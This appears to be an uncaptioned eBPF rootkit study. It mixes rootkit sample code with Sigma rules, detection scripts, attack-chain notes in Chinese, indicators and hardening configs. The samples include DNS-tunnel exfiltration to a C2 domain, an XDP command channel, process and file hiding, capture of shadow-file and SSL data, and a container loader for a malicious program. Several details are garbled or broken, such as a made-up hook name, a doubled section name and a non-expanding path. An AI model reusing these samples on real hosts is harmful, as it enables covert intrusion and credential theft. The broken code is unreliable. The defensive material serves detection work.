bpftool prog list
bpftool prog show id <ID>
bpftool prog dump xlated id <ID>
bpftool prog dump jited id <ID>
bpftool map list
bpftool map dump id <ID>
bpftool net list
bpftool btf show

cat /sys/kernel/debug/tracing/set_event | grep bpf
cat /proc/kallsysyms | grep bpf
cat /proc/bpf
ls -la /sys/fs/bpf/

bpftool feature probe
bpftool version
cat /boot/config-$(uname -r) | grep CONFIG_BPF
cat /boot/config-$(uname -r) | grep CONFIG_BPF_SYSCALL

SEC("kprobe/__x64_sys_execve")
int BPF_KPROBE(trace_execve, const char __user *filename)
{
    const char *comm = bpf_get_current_comm();
    char buf[256];
    bpf_probe_read_user_str(buf, sizeof(buf), filename);
    bpf_printk("execve: comm=%s file=%s", comm, buf);
    return 0;
}

SEC("kprobe/__x64_sys_openat")
int BPF_KPROBE(trace_openat, int dfd, const char __user *filename, int flags)
{
    u32 pid = bpf_get_current_pid_tgid() >> 32;
    char path[256];
    bpf_probe_read_user_str(path, sizeof(path), filename);
    bpf_map_update_elem(&target_files, &pid, path, BPF_ANY);
    return 0;
}

SEC("tracepoint/raw_syscalls/sys_enter")
int trace_syscalls(struct trace_event_raw_sys_enter *ctx)
{
    u64 pid_tgid = bpf_get_current_pid_tgid();
    u32 pid = pid_tgid >> 32;
    u32 tid = (u32)pid_tgid;
    long syscall_nr = ctx->id;

    if (syscall_nr == __NR_kill || syscall_nr == __NR_tgkill) {
        bpf_printk("suspicious signal: pid=%d syscall=%ld", pid, syscall_nr);
    }
    return 0;
}

SEC("tracepoint/sched/sched_process_exec")
int trace_exec(struct trace_event_raw_sched_process_exec *ctx)
{
    u32 pid = bpf_get_current_pid_tgid() >> 32;
    struct task_struct *task = (struct task_struct *)bpf_get_current_task();
    char comm[16];
    bpf_get_current_comm(comm, sizeof(comm));
    bpf_printk("exec: pid=%d comm=%s", pid, comm);
    return 0;
}

SEC("tc")
int dns_filter(struct __sk_buff *skb)
{
    void *data = (void *)(long)skb->data;
    void *data_end = (void *)(long)skb->data_end;
    struct ethhdr *eth = data;
    struct iphdr *iph;
    struct udphdr *udph;

    if ((void *)(eth + 1) > data_end)
        return TC_ACT_OK;

    if (eth->h_proto != htons(ETH_P_IP))
        return TC_ACT_OK;

    iph = (void *)(eth + 1);
    if ((void *)(iph + 1) > data_end)
        return TC_ACT_OK;

    if (iph->protocol != IPPROTO_UDP)
        return TC_ACT_OK;

    udph = (void *)(iph + 1);
    if ((void *)(udph + 1) > data_end)
        return TC_ACT_OK;

    if (ntohs(udph->dest) != 53)
        return TC_ACT_OK;

    void *dns = (void *)(udph + 1);
    if ((void *)(dns + 12) > data_end)
        return TC_ACT_OK;

    unsigned char *qname = dns + 12;

    char domain[] = "\x0bsecurity-corp\x03com\x00";
    int match = 1;
    for (int i = 0; i < sizeof(domain); i++) {
        if (qname + i >= data_end) { match = 0; break; }
        if (*(qname + i) != domain[i]) { match = 0; break; }
    }

    if (match)
        return TC_ACT_SHOT;

    return TC_ACT_OK;
}

import socket
import struct
import dnslib

def create_dns_tunnel_query(encoded_data, c2_domain):
    import base64
    encoded = base64.b32encode(encoded_data).decode().lower()
    chunks = [encoded[i:i+63] for i in range(0, len(encoded), 63)]
    query = ".".join(chunks) + "." + c2_domain
    return query

def exfiltrate_via_dns(data, c2_domain, dns_server):
    encoded_query = create_dns_tunnel_query(data, c2_domain)
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(
        dnslib.DNSRecord.question(encoded_query).pack(),
        (dns_server, 53)
    )
    response, _ = sock.recvfrom(512)
    sock.close()
    return response

#define MAGIC_VALUE 0xDEADBEEF
#define C2_PORT 4444

SEC("xdp")
int xdp_c2_channel(struct xdp_md *ctx)
{
    void *data = (void *)(long)ctx->data;
    void *data_end = (void *)(long)ctx->data_end;
    struct ethhdr *eth = data;
    struct iphdr *iph;
    struct udphdr *udph;

    if ((void *)(eth + 1) > data_end)
        return XDP_PASS;

    if (eth->h_proto != htons(ETH_P_IP))
        return XDP_PASS;

    iph = (void *)(eth + 1);
    if ((void *)(iph + 1) > data_end)
        return XDP_PASS;

    if (iph->protocol != IPPROTO_UDP)
        return XDP_PASS;

    udph = (void *)(iph + 1);
    if ((void *)(udph + 1) > data_end)
        return XDP_PASS;

    if (ntohs(udph->dest) != C2_PORT)
        return XDP_PASS;

    unsigned char *payload = (unsigned char *)(udph + 1);
    if ((void *)(payload + 4) > data_end)
        return XDP_PASS;

    unsigned int magic = *((unsigned int *)payload);
    if (magic == MAGIC_VALUE) {
        bpf_map_update_elem(&c2_commands, &magic, payload + 4, BPF_ANY);
        return XDP_DROP;
    }

    return XDP_PASS;
}

SEC("tracepoint/tracepoint/raw_syscalls/sys_enter")
int hide_process(struct trace_event_raw_sys_enter *ctx)
{
    u64 pid_tgid = bpf_get_current_pid_tgid();
    u32 pid = pid_tgid >> 32;

    u32 target_pid = TARGET_PID;
    if (pid == target_pid) {
        bpf_printk("process %d activity intercepted", pid);
    }

    return 0;
}

struct hidden_process {
    u32 pid;
    char comm[16];
};

struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, 1024);
    __type(key, u32);
    __type(value, struct hidden_process);
} hidden_procs SEC(".maps");

SEC("kprobe/filldir64")
int BPF_KPROBE(trace_filldir, struct ctx_dir_context *ctx)
{
    u32 pid = bpf_get_current_pid_tgid() >> 32;
    struct hidden_process *hp = bpf_map_lookup_elem(&hidden_procs, &pid);
    if (hp) {
        bpf_override_return(ctx, 0);
    }
    return 0;
}

struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, 256);
    __type(key, u32);
    __type(value, u8);
} proc_hide_map SEC(".maps");

SEC("kprobe/proc_pid_readdir")
int BPF_KPROBE(hide_proc_entry, struct proc_dir_entry *de)
{
    u32 tgid = 0;
    struct task_struct *task = (struct task_struct *)bpf_get_current_task();
    bpf_probe_read_kernel(&tgid, sizeof(tgid), &task->tgid);

    u8 *hide = bpf_map_lookup_elem(&proc_hide_map, &tgid);
    if (hide) {
        return 0;
    }
    return 0;
}

struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, 256);
    __type(key, u32);
    __type(value, u8);
} file_hide_map SEC(".maps");

SEC("kprobe/vfs_readdir")
int BPF_KPROBE(hide_file, struct file *file, struct dir_context *ctx)
{
    char filename[64];
    bpf_probe_read_kernel_str(filename, sizeof(filename), file->f_path.dentry->d_name.name);

    char target[] = ".malware";
    int match = 1;
    for (int i = 0; i < 9; i++) {
        if (filename[i] != target[i]) { match = 0; break; }
    }

    if (match) {
        ctx->pos--;
    }
    return 0;
}

struct cred_event {
    u32 pid;
    u32 uid;
    char comm[16];
    char filename[256];
};

struct {
    __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
    __uint(key_size, sizeof(u32));
    __uint(value_size, sizeof(u32));
} cred_events SEC(".maps");

SEC("kprobe/filp_close")
int BPF_KPROBE(trace_filp_close, struct file *file)
{
    struct task_struct *task = (struct task_struct *)bpf_get_current_task();
    u32 pid = bpf_get_current_pid_tgid() >> 32;

    char path_buf[256];
    struct dentry *dentry = BPF_CORE_READ(file, f_path.dentry);
    bpf_probe_read_kernel_str(path_buf, sizeof(path_buf),
        BPF_CORE_READ(dentry, d_name.name));

    char shadow[] = "shadow";
    int match = 1;
    for (int i = 0; i < 6; i++) {
        if (path_buf[i] != shadow[i]) { match = 0; break; }
    }

    if (match) {
        struct cred_event evt = {};
        evt.pid = pid;
        bpf_get_current_comm(evt.comm, sizeof(evt.comm));
        bpf_probe_read_kernel_str(evt.filename, sizeof(evt.filename), path_buf);
        bpf_perf_event_output(ctx, &cred_events, BPF_F_CURRENT_CPU, &evt, sizeof(evt));
    }
    return 0;
}

struct key_event {
    u32 pid;
    u32 len;
    char comm[16];
    char data[128];
};

struct {
    __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
    __uint(key_size, sizeof(u32));
    __uint(value_size, sizeof(u32));
} key_events SEC(".maps");

SEC("kprobe/nss_ssl_auth_hook")
int BPF_KPROBE(trace_ssl_write, void *fd, const void *buf, size_t len)
{
    u32 pid = bpf_get_current_pid_tgid() >> 32;

    if (len > 128) len = 128;

    struct key_event evt = {};
    evt.pid = pid;
    evt.len = len;
    bpf_get_current_comm(evt.comm, sizeof(evt.comm));
    bpf_probe_read_user(evt.data, len, buf);

    bpf_perf_event_output(ctx, &key_events, BPF_F_CURRENT_CPU, &evt, sizeof(evt));
    return 0;
}

cat /proc/1/status | grep Cap
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff

import ctypes
import struct

BPF_PROG_LOAD = 5
BPF_PROG_TYPE_KPROBE = 2

class BpfProgLoadAttr(ctypes.Structure):
    _fields_ = [
        ("prog_type", ctypes.c_uint32),
        ("insn_cnt", ctypes.c_uint32),
        ("insns", ctypes.c_void_p),
        ("license", ctypes.c_char_p),
        ("log_buf", ctypes.c_void_p),
        ("log_size", ctypes.c_uint32),
        ("log_level", ctypes.c_uint32),
        ("fd", ctypes.c_int32),
        ("expected_attach_type", ctypes.c_uint32),
        ("prog_btf_fd", ctypes.c_int32),
        ("func_info_rec_size", ctypes.c_uint32),
        ("func_info", ctypes.c_void_p),
        ("func_info_cnt", ctypes.c_uint32),
        ("line_info_rec_size", ctypes.c_uint32),
        ("line_info", ctypes.c_void_p),
        ("line_info_cnt", ctypes.c_uint32),
        ("attach_btf_id", ctypes.c_uint32),
        ("attach_prog_fd", ctypes.c_int32),
    ]

libc = ctypes.CDLL("libc.so.6", use_errno=True)

def load_ebpf_program(prog_bytes, license=b"GPL"):
    attr = BpfProgLoadAttr()
    attr.prog_type = BPF_PROG_TYPE_KPROBE
    attr.insn_cnt = len(prog_bytes) // 8
    attr.insns = ctypes.cast(prog_bytes, ctypes.c_void_p)
    attr.license = license
    attr.log_size = 0
    attr.log_buf = 0
    attr.log_level = 0
    attr.kern_version = 0

    fd = libc.syscall(
        ctypes.c_long(321),
        ctypes.c_int(BPF_PROG_LOAD),
        ctypes.byref(attr),
        ctypes.sizeof(attr)
    )
    return fd

def load_malicious_ebpf_from_container():
    with open("/proc/self/root/tmp/malicious.ebpf", "rb") as f:
        prog_bytes = f.read()
    fd = load_ebpf_program(prog_bytes)
    print(f"[*] Malicious eBPF loaded from container, fd={fd}")
    print(f"[*] Program now running in host kernel")
    return fd

bpftool prog dump xlated id <PROG_ID> | grep -E "(kretprobe|kprobe|tracepoint)" | head -20
bpftool map dump id <MAP_ID> 2>/dev/null | grep -E "(password|token|key|credential)"
bpftool prog show id <PROG_ID> | grep -E "(loaded|tag|map_ids)"

for pid in $(ls /proc | grep -E '^[0-9]+$'); do
    ls -la /proc/$pid/map_files/ 2>/dev/null | grep -q bpf && echo "PID $pid has BPF maps"
    cat /proc/$pid/comm 2>/dev/null
done | grep -B1 "bpf"

sysctl kernel.unprivileged_bpf_disabled
ls -la /sys/fs/bpf/
dmesg | grep -i "bpf" | tail -20
lsmod | grep bpf

title: Suspicious eBPF Program Loading Activity
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects suspicious eBPF program loading activity that may indicate eBPF Rootkit deployment
references:
  - https://www.triplecross.io
  - https://github.com/kn100/ebpfkit
author: x7peeps蓝队
date: 2026-07-09
tags:
  - attack.defense_evasion
  - attack.t1014
  - attack.t1055
  - attack.persistence
logsource:
  category: syscall
  product: linux
detection:
  selection_syscall_bpf:
    syscall_name:
      - bpf
      - bpf2
  selection_bpf_prog_load:
    syscall_name: bpf
    arg_cmd:
      - BPF_PROG_LOAD
      - 5
  filter_known_loaders:
    exe|endswith:
      - /usr/sbin/bpftool
      - /usr/lib/systemd/systemd
      - /usr/sbin/cilium-agent
      - /usr/bin/falco
      - /usr/bin/bpftrace
      - /usr/local/bin/tetragon
      - /usr/sbin/tc
  filter_kernel_threads:
    exe|startswith:
      - /proc/self/exe
      - /usr/sbin/modprobe
  condition: selection_bpf_prog_load and not filter_known_loaders and not filter_kernel_threads
level: high
falsepositives:
  - Legitimate eBPF security tools
  - Network monitoring applications
  - Container runtime eBPF programs
fields:
  - syscall_name
  - exe
  - uid
  - cwd
  - cmdline
  - parent_exe

title: eBPF Kprobe Hook on Sensitive System Calls
id: 2b3c4d5e-6f7a-8b9c-0d1e-2f3a4b5c6d7e
status: experimental
description: Detects eBPF programs hooking sensitive system calls via kprobe mechanism
author: x7peeps蓝队
date: 2026-07-09
tags:
  - attack.defense_evasion
  - attack.t1014
  - attack.collection
logsource:
  category: syscall
  product: linux
detection:
  selection_kprobe_attach:
    syscall_name: bpf
    arg_cmd: BPF_PROG_ATTACH
  selection_sensitive_targets:
    arg_data|contains:
      - __x64_sys_execve
      - __x64_sys_connect
      - __x64_sys_openat
      - __x64_sys_read
      - __x64_sys_write
      - security_bprm_check
      - filp_close
      - filldir64
      - vfs_readdir
      - proc_pid_readdir
      - do_filp_open
  condition: selection_kprobe_attach and selection_sensitive_targets
level: critical
falsepositives:
  - Legitimate kernel tracing tools
  - eBPF-based security monitoring
fields:
  - syscall_name
  - exe
  - uid
  - arg_data
  - parent_exe

title: Unprivileged eBPF Program Loading Attempt
id: 9d0e1f2a-3b4c-5d6e-7f8a-9b0c1d2e3f4a
status: stable
description: Detects attempts to load eBPF programs from unprivileged user context
author: x7peeps蓝队
date: 2026-07-09
tags:
  - attack.defense_evasion
  - attack.t1548
logsource:
  category: syscall
  product: linux
detection:
  selection_bpf_load:
    syscall_name:
      - bpf
      - bpf2
    arg_cmd: BPF_PROG_LOAD
  filter_root:
    uid: 0
  filter_cap_bpf:
    capabilities|contains:
      - CAP_BPF
      - CAP_SYS_ADMIN
  condition: selection_bpf_load and not filter_root and not filter_cap_bpf
level: high
falsepositives:
  - Container environments with specific capability grants
fields:
  - syscall_name
  - uid
  - exe
  - cmdline

#!/bin/bash

echo "=========================================="
echo "eBPF Rootkit Detection Script"
echo "=========================================="

echo "[*] Step 1: Checking kernel eBPF configuration..."
if [ -f /boot/config-$(uname -r) ]; then
    echo "[+] Kernel eBPF config:"
    grep -E "CONFIG_BPF|CONFIG_BPF_SYSCALL|CONFIG_BPF_JIT" /boot/config-$(uname -r)
fi

echo ""
echo "[*] Step 2: Enumerating loaded eBPF programs..."
if command -v bpftool &>/dev/null; then
    echo "[+] Loaded eBPF programs:"
    bpftool prog list 2>/dev/null | head -50
    echo ""
    echo "[+] Loaded eBPF maps:"
    bpftool map list 2>/dev/null | head -30
else
    echo "[-] bpftool not found, attempting alternative detection..."
    cat /proc/kallsyms 2>/dev/null | grep "bpf_prog_" | head -20
fi

echo ""
echo "[*] Step 3: Scanning for suspicious eBPF programs..."
if command -v bpftool &>/dev/null; then
    bpftool prog list -j 2>/dev/null | python3 -c "
import sys, json
try:
    progs = json.load(sys.stdin)
    suspicious = []
    for p in progs:
        prog_type = p.get('type', '')
        tag = p.get('tag', '')
        name = p.get('name', 'unknown')
        loaded_by = p.get('loaded_by', 'unknown')
        if prog_type in ['kprobe', 'kretprobe', 'tracepoint']:
            if 'systemd' not in loaded_by and 'bpftool' not in loaded_by:
                suspicious.append({
                    'id': p.get('id'),
                    'name': name,
                    'type': prog_type,
                    'loaded_by': loaded_by,
                    'tag': tag
                })
    if suspicious:
        print('[!] SUSPICIOUS eBPF programs found:')
        for s in suspicious:
            print(f\"    ID={s['id']} Type={s['type']} Name={s['name']} LoadedBy={s['loaded_by']}\")
    else:
        print('[+] No suspicious eBPF programs detected')
except Exception as e:
    print(f'[!] Parse error: {e}')
"
fi

echo ""
echo "[*] Step 4: Checking /proc filesystem integrity..."
if [ -d /proc ]; then
    proc_count=$(ls /proc | grep -c '^[0-9]$' 2>/dev/null)
    task_count=$(ps -e --no-headers 2>/dev/null | wc -l)
    echo "[+] /proc PID entries: $proc_count"
    echo "[+] ps reported processes: $task_count"
    if [ "$proc_count" -gt "$((task_count + 50))" ]; then
        echo "[!] WARNING: /proc/ PID count significantly exceeds ps count (possible procfs filtering)"
    fi
fi

echo ""
echo "[*] Step 5: Checking BPF filesystem for orphaned maps..."
if [ -d /sys/fs/bpf ]; then
    bpffs_files=$(find /sys/fs/bpf -type f 2>/dev/null | wc -l)
    echo "[+] BPF filesystem files: $bpffs_files"
    if [ "$bpffs_files" -gt 0 ]; then
        echo "[!] Checking for non-standard BPF map files:"
        find /sys/fs/bpf -type f -ls 2>/dev/null
    fi
fi

echo ""
echo "[*] Step 6: Checking unprivileged BPF disabled setting..."
sysctl_value=$(sysctl -n kernel.unprivileged_bpf_disabled 2>/dev/null)
if [ "$sysctl_value" = "0" ]; then
    echo "[!] WARNING: Unprivileged BPF loading is ENABLED"
    echo "    Recommendation: sysctl -w kernel.unprivileged_bpf_disabled=1"
elif [ "$sysctl_value" = "1" ]; then
    echo "[+] Unprivileged BPF loading is disabled (good)"
elif [ "$sysctl_value" = "2" ]; then
    echo "[!] WARNING: Unprivileged BPF loading is locked to enabled"
fi

echo ""
echo "[*] Step 7: Checking kernel logs for eBPF anomalies..."
if dmesg 2>/dev/null | grep -qiE "bpf.*error|bpf.*fail|bpf.*denied|bpf.*malformed"; then
    echo "[!] Found suspicious eBPF kernel log entries:"
    dmesg 2>/dev/null | grep -iE "bpf.*error|bpf.*fail|bpf.*denied|bpf.*malformed" | tail -10
else
    echo "[+] No suspicious eBPF entries in kernel logs"
fi

echo ""
echo "[*] Step 8: Checking for known eBPF Rootkit artifacts..."
KNOWN_ARTIFACTS=(
    "/tmp/triplecross"
    "/tmp/ebpfkit"
    "/tmp/.ebpfkit"
    "/tmp/pamspy"
    "/tmp/hideseek"
    "/usr/local/bin/ebpfkit"
)
for artifact in "${KNOWN_ARTIFACTS[@]}"; do
    if [ -f "$artifact" ] || [ -d "$artifact" ]; then
        echo "[!] FOUND known eBPF Rootkit artifact: $artifact"
        ls -la "$artifact"
        file "$artifact" 2>/dev/null
    fi
done

echo ""
echo "[*] Step 9: Checking process capabilities..."
if command -v capsh &>/dev/null; then
    echo "[+] Current capabilities:"
    capsh --print 2>/dev/null | grep -E "Cap|Bounding"
fi

echo ""
echo "[*] Step 10: Scanning for suspicious bpf() syscall usage via audit..."
if command -v ausearch &>/dev/null; then
    echo "[+] Recent BPF syscall audit entries:"
    ausearch -k bpf_usage -ts recent 2>/dev/null | tail -20
elif [ -f /var/log/audit/audit.log ]; then
    grep -i "bpf" /var/log/audit/audit.log 2>/dev/null | tail -20
fi

echo ""
echo "=========================================="
echo "[*] eBPF Rootkit detection scan complete"
echo "=========================================="

#!/usr/bin/env python3
import os
import sys
import json
import subprocess
import struct
import pathlib

class EBPFDetector:
    def __init__(self):
        self.findings = []
        self.suspicious_progs = []
        self.suspicious_maps = []

    def check_kernel_config(self):
        results = []
        config_path = f"/boot/config-$(uname -r)"
        try:
            with open(config_path, 'r') as f:
                config = f.read()
            checks = {
                'CONFIG_BPF': 'BPF support',
                'CONFIG_BPF_SYSCALL': 'BPF syscall',
                'CONFIG_BPF_JIT': 'BPF JIT',
                'CONFIG_BPF_EVENTS': 'BPF events',
                'CONFIG_BPF_KPROBE_OVERRIDE': 'Kprobe override',
            }
            for key, desc in checks.items():
                found = False
                for line in config.split('\n'):
                    if line.startswith(key):
                        found = True
                        results.append({'key': key, 'desc': desc, 'config': line.strip()})
                        break
                if not found:
                    results.append({'key': key, 'desc': desc, 'config': 'not set'})
        except FileNotFoundError:
            results.append({'error': f'Config not found: {config_path}'})
        return results

    def enumerate_ebpf_programs(self):
        progs = []
        try:
            result = subprocess.run(
                ['bpftool', 'prog', 'list', '-j'],
                capture_output=True, text=True, timeout=10
            )
            if result.returncode == 0 and result.stdout.strip():
                progs = json.loads(result.stdout)
        except (subprocess.TimeoutExpired, json.JSONDecodeError, FileNotFoundError):
            pass
        return progs

    def enumerate_ebpf_maps(self):
        maps = []
        try:
            result = subprocess.run(
                ['bpftool', 'map', 'list', '-j'],
                capture_output=True, text=True, timeout=10
            )
            if result.returncode == 0 and result.stdout.strip():
                maps = json.loads(result.stdout)
        except (subprocess.TimeoutExpired, json.JSONDecodeError, FileNotFoundError):
            pass
        return maps

    def analyze_prog_type_distribution(self, progs):
        type_counts = {}
        for p in progs:
            t = p.get('type', 'unknown')
            type_counts[t] = type_counts.get(t, 0) + 1
        return type_counts

    def detect_suspicious_hooks(self, progs):
        suspicious = []
        high_risk_types = ['kprobe', 'kretprobe', 'tracepoint']
        sensitive_targets = [
            'execve', 'connect', 'openat', 'read', 'write',
            'filp_close', 'filldir', 'readdir', 'proc_pid',
            'bprm_check', 'do_filp_open', 'kill', 'ptrace'
        ]
        known_legitimate = [
            'systemd', 'bpftool', 'cilium', 'falco',
            'tetragon', 'bpftrace', 'auditd', 'osquery',
            'gke', 'amazon', 'docker', 'kube-proxy'
        ]
        for p in progs:
            prog_type = p.get('type', '')
            name = p.get('name', '')
            loaded_by = p.get('loaded_by', '')
            uid = p.get('uid', -1)
            tag = p.get('tag', '')
            is_high_risk = prog_type in high_risk_types
            is_sensitive = any(s in name.lower() for s in sensitive_targets)
            is_known = any(k in loaded_by.lower() or k in name.lower() for k in known_legitimate)
            if is_high_risk and (is_sensitive or not is_known):
                suspicious.append({
                    'id': p.get('id'),
                    'name': name,
                    'type': prog_type,
                    'loaded_by': loaded_by,
                    'uid': uid,
                    'tag': tag,
                    'risk_reason': f'High-risk type ({prog_type}) with sensitive target' if is_sensitive else f'High-risk type ({prog_type}) from unknown source'
                })
        return suspicious

    def detect_suspicious_maps(self, maps):
        suspicious = []
        known_map_names = [
            'cilium', 'falco', 'tetragon', 'osquery',
            'kube_proxy', 'conntrack', 'nat'
        ]
        for m in maps:
            name = m.get('name', '')
            map_type = m.get('type', '')
            is_known = any(k in name.lower() for k in known_map_names)
            if name and not is_known:
                suspicious.append({
                    'id': m.get('id'),
                    'name': name,
                    'type': map_type,
                    'key_size': m.get('key_size'),
                    'value_size': m.get('value_size'),
                    'max_entries': m.get('max_entries'),
                })
        return suspicious

    def check_proc_integrity(self):
        result = {'status': 'ok'}
        try:
            proc_pids = len([d for d in os.listdir('/proc') if d.isdigit()])
            ps_output = subprocess.check_output(
                ['ps', '-e', '--no-headers'], timeout=5
            ).decode().strip().split('\n')
            ps_count = len(ps_output)
            result['proc_pids'] = proc_pids
            result['ps_count'] = ps_count
            if proc_pids > ps_count + 50:
                result['status'] = 'warning'
                result['message'] = f'/proc PID count ({proc_pids}) exceeds ps count ({ps_count}) by more than 50'
        except Exception as e:
            result['error'] = str(e)
        return result

    def check_bpf_filesystem(self):
        result = {'orphaned_maps': [], 'total_files': 0}
        bpf_path = pathlib.Path('/sys/fs/bpf')
        if bpf_path.exists():
            files = list(bpf_path.rglob('*'))
            result['total_files'] = len([f for f in files if f.is_file()])
            result['orphaned_maps'] = [str(f) for f in files if f.is_file()]
        return result

    def check_sysctl(self):
        result = {}
        try:
            with open('/proc/sys/kernel/unprivileged_bpf_disabled', 'r') as f:
                value = int(f.read().strip())
                result['value'] = value
                result['status'] = 'disabled' if value in [1, 2] else 'enabled'
                result['warning'] = value == 0
        except FileNotFoundError:
            result['error'] = 'sysctl file not found'
        return result

    def scan_known_artifacts(self):
        known = [
            '/tmp/triplecross', '/tmp/ebpfkit', '/tmp/.ebpfkit',
            '/tmp/pamspy', '/tmp/hideseek', '/usr/local/bin/ebpfkit',
            '/tmp/.ebpf_loader', '/dev/shm/.ebpf',
            '/tmp/ebpfdoor', '/tmp/kbfsd',
        ]
        found = []
        for path in known:
            if os.path.exists(path):
                stat_info = os.stat(path)
                found.append({
                    'path': path,
                    'size': stat_info.st_size,
                    'modified': stat_info.st_mtime,
                    'mode': oct(stat_info.st_mode)
                })
        return found

    def run_full_scan(self):
        print("[*] Starting eBPF Rootkit comprehensive detection scan...")
        report = {
            'kernel_config': self.check_kernel_config(),
            'ebpf_programs': [],
            'suspicious_programs': [],
            'ebpf_maps': [],
            'suspicious_maps': [],
            'proc_integrity': self.check_proc_integrity(),
            'bpf_filesystem': self.check_bpf_filesystem(),
            'sysctl': self.check_sysctl(),
            'known_artifacts': self.scan_known_artifacts(),
            'type_distribution': {},
        }

        progs = self.enumerate_ebpf_programs()
        report['ebpf_programs'] = progs
        report['type_distribution'] = self.analyze_prog_type_distribution(progs)

        maps = self.enumerate_ebpf_maps()
        report['ebpf_maps'] = maps

        report['suspicious_programs'] = self.detect_suspicious_hooks(progs)
        report['suspicious_maps'] = self.detect_suspicious_maps(maps)

        print(json.dumps(report, indent=2, default=str))
        return report

def main():
    detector = EBPFDetector()
    report = detector.run_full_scan()

    findings = []
    if report['suspicious_programs']:
        findings.append(f"🔴 {len(report['suspicious_programs'])} suspicious eBPF programs detected")
    if report['known_artifacts']:
        findings.append(f"🔴 {len(report['known_artifacts'])} known eBPF Rootkit artifacts found")
    if report['suspicious_maps']:
        findings.append(f"🟡 {len(report['suspicious_maps'])} non-standard BPF maps detected")
    if report['proc_integrity'].get('status') == 'warning':
        findings.append("🟡 /proc filesystem integrity check failed")
    if report['sysctl'].get('warning'):
        findings.append("🟢 Unprivileged BPF loading is enabled")

    print("\n" + "=" * 50)
    print("SCAN SUMMARY")
    print("=" * 50)
    if findings:
        for f in findings:
            print(f)
    else:
        print("🟢 No suspicious eBPF activity detected")
    print("=" * 50)

    return 0 if not report['suspicious_programs'] else 1

if __name__ == '__main__':
    sys.exit(main())

阶段1: 初始访问 (T1078 - Valid Accounts)
  → 攻击者获取低权限Shell（通过Web漏洞/弱密码）
  
阶段2: 权限提升 (T1611 - Escape to Host)
  → 利用unprivileged_bpf_disabled=0加载eBPF程序
  → 或利用容器逃逸获得host namespace访问
  
阶段3: eBPF Rootkit部署
  → 上传TripleCross Loader二进制到目标
  → Loader通过bpf()系统调用加载内核eBPF程序
  → 程序挂载到kprobe/tracepoint/TC/XDP等Hook点
  
阶段4: 持久化与隐蔽
  → 进程隐藏：Hook filldir64过滤/proc枚举
  → 文件隐藏：Hook vfs_readdir过滤目录内容
  → 网络后门：TC层实现TCP reverse shell
  → 内存读取：读取任意进程内存提取凭据
  
阶段5: 横向移动 (T1021 - Remote Services)
  → 使用窃取的凭据进行SSH横向移动
  → 部署持久化cron job + eBPF Loader自启动

eBPF程序特征:
  - tag: 7e8d9c0b1a2f3e4d5c6b7a8f9e0d1c2b3a4f5e6d
  - 挂载Hook: kprobe/__x64_sys_execve, kprobe/filp_close
  - BPF Map名称: hidden_pids, hidden_files, backdoor_config

文件特征:
  /tmp/triplecross (ELF 64-bit LSB executable, x86-64)
  文件大小: ~200KB
  编译特征: Go语言编译, 使用cilium/ebpf库

网络特征:
  TCP 4444 端口监听（TC层隐蔽反向Shell）
  ICMP数据包中编码的C2指令

行为特征:
  每60秒轮询BPF Map更新隐藏列表
  用户态Loader进程周期性执行bpf()系统调用

阶段1: 初始入侵 (T1190 - Exploit Public-Facing Application)
  → 通过Kubernetes API Server漏洞获取Pod执行权限
  
阶段2: 容器内eBPF加载
  → 检测容器内CAP_BPF能力
  → 上传ebpfkit Loader到容器 /tmp/.loader
  
阶段3: 内核Hook部署
  → 加载kprobe程序Hook: openat, execve, getdents64
  → 加载TC程序实现隐蔽网络通信
  → 加载tracepoint程序监控系统调用
  
阶段4: 隐蔽操作
  → 文件隐藏: 过滤包含"ebpf"关键词的目录查询结果
  → 进程隐藏: 过滤Loader进程自身的/proc条目
  → 网络后门: TC层实现DNS-over-HTTPS伪装的C2通道
  → 提权: 修改当前进程cred结构体获取root权限
  
阶段5: 横向渗透
  → 通过被修改的网络策略访问其他Pod
  → 在宿主机内核中保持持久化eBPF程序

eBPF程序特征:
  挂载Hook: kprobe/getdents64, kprobe/__x64_sys_openat
  挂载Hook: TC qdisc, tracepoint/raw_syscalls/sys_enter
  BPF Map名称: hide_list, proc_filter, network_config

容器环境特征:
  /proc/self/status CapBnd包含CAP_BPF (0x00000040)
  /proc/1/root/tmp/.loader 存在ELF二进制
  容器网络命名空间中存在非标准TC规则

网络特征:
  异常DNS查询模式: 高频TXT记录查询到非标准DNS服务器
  TC层eBPF过滤: 特定端口流量被静默丢弃

行为特征:
  getdents64返回结果中特定条目数量异常减少
  Loader进程在/proc中不可见（被自身隐藏）

sysctl -w kernel.unprivileged_bpf_disabled=1
echo "kernel.unprivileged_bpf_disabled = 1" >> /etc/sysctl.d/99-ebpf-hardening.conf
sysctl -p /etc/sysctl.d/99-ebpf-hardening.conf

cat > /etc/audit/rules.d/ebpf-audit.rules << 'EOF'
-a always,exit -F arch=b64 -S bpf -F key=bpf_usage
-a always,exit -F arch=b32 -S bpf -F key=bpf_usage
-w /sys/fs/bpf/ -p rwxa -k bpf_filesystem
EOF
augenrules --load
service auditd restart

cat > /etc/seccomp.d/ebpf-restrict.json << 'SECCOMP'
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "architectures": ["SCMP_ARCH_X86_64"],
  "syscalls": [
    {
      "names": ["bpf"],
      "action": "SCMP_ACT_ERRNO",
      "errnoRet": 1
    }
  ]
}
SECCOMP

apiVersion: v1
kind: ConfigMap
metadata:
  name: tetragon-config
  namespace: cilium-tetragon
data:
  tetragon.config: |
    processFilter: "eventTracker"
    enableProcessCred: true
    enableProcessKarmor: true
    enablePodLabels: true
    exportFilename: "tetragon-export.log"
    exportRateLimit: 1000
    enableK8s: true
    enableK8sPod: true
    enableK8sNamespace: true
    enableK8sService: true
    enableK8sEndpoint: true
    enableK8sCiliumEndpoint: true
    enableK8sCiliumIdentity: true
    enableK8sCiliumEndpointSlice: true

apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: detect-ebpf-prog-load
spec:
  kprobes:
  - call: __sys_bpf
    syscall: false
    args:
    - index: 0
      type: int64
    - index: 1
      type: int64
    - index: 2
      type: int64
    selectors:
    - matchArgs:
      - index: 0
